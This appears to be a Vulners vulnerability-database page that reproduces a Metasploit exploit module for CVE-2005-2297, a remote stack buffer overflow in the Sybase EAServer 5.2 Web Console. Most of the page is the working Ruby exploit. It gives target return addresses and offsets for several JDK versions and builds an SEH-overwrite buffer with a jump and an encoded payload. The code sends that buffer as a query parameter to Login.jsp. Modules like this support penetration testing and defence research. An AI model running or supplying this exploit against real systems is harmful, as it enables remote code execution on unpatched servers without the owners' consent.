Lucene search
+L

Sybase EAServer 5.2 Remote Stack Buffer Overflow

🗓️ 25 Jul 2005 00:00:00Reported by UnknownType 
metasploit
 metasploit
🔗 www.rapid7.com👁 68 Views

Sybase EAServer 5.2 Remote Stack Buffer Overflo

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2005-2297
22 Jun 201000:00
–circl
checkpoint_advisories
Check Point Advisories
Sybase EAServer WebConsole Buffer Overflow (CVE-2005-2297)
29 Nov 200900:00
–checkpoint_advisories
cve
CVE
CVE-2005-2297
19 Jul 200504:00
–cve
cvelist
Cvelist
CVE-2005-2297
19 Jul 200504:00
–cvelist
exploitdb
Exploit DB
Sybase EAServer 5.2 - Remote Stack Buffer Overflow (Metasploit)
22 Jun 201000:00
–exploitdb
nvd
NVD
CVE-2005-2297
19 Jul 200504:00
–nvd
rapid7
Rapid7 Vulnerability Database (full)
CVE-2005-2297: Undefined Security Weakness
19 Jul 200500:00
–rapid7
saint
Saint
Sybase EAServer WebConsole buffer overflow
4 Nov 200500:00
–saint
saint
Saint
Sybase EAServer WebConsole buffer overflow
4 Nov 200500:00
–saint
saint
Saint
Sybase EAServer WebConsole buffer overflow
4 Nov 200500:00
–saint
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Sybase EAServer 5.2 Remote Stack Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in the Sybase EAServer Web
          Console. The offset to the SEH frame appears to change depending
          on what version of Java is in use by the remote server, making this
          exploit somewhat unreliable.
        },
        'Author' => [ 'Unknown' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2005-2297' ],
          [ 'OSVDB', '17996' ],
          [ 'BID', '14287'],
        ],
        'Privileged' => false,
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
        },
        'Payload' => {
          'Space' => 1000,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\%",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          # Technically we could combine these into a single multi-return string...
          ['Windows All - Sybase EAServer 5.2 - jdk 1.3.1_11', { 'Ret' => 0x6d4548ff, 'Offset' => 3820 }],
          ['Windows All - Sybase EAServer 5.2 - jdk 1.3.?.?', { 'Ret' => 0x6d4548ff, 'Offset' => 3841 }],
          ['Windows All - Sybase EAServer 5.2 - jdk 1.4.2_06', { 'Ret' => 0x08041b25, 'Offset' => 3912 }],
          ['Windows All - Sybase EAServer 5.2 - jdk 1.4.1_02', { 'Ret' => 0x08041b25, 'Offset' => 3925 }],
        ],
        'DisclosureDate' => '2005-07-25',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('DIR', [ true, "Directory of Login.jsp script", '/WebConsole/' ]),
        Opt::RPORT(8080)
      ]
    )
  end

  def exploit
    print_status("Attempting to exploit...")

    # Building the evil buffer
    crash = rand_text_alphanumeric(5000, payload_badchars)
    crash[target['Offset'] - 4, 2] = "\xeb\x06"
    crash[target['Offset'], 4] = [target.ret].pack('V')
    crash[target['Offset'] + 4, payload.encoded.length] = payload.encoded

    # Sending the request
    res = send_request_cgi({
      'uri' => normalize_uri(datastore['DIR'], 'Login.jsp'),
      'method' => 'GET',
      'encode_params' => false,
      'headers' => {
        'Accept' => '*/*',
      },
      'vars_get' => {
        crash => nil
      }
    }, 5)

    print_status("Overflow request sent, sleeping for four seconds")
    select(nil, nil, nil, 4)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Jul 2005 00:00Current
6.1Medium risk
Vulners AI Score6.1
CVSS 24.6
EPSS0.74202
68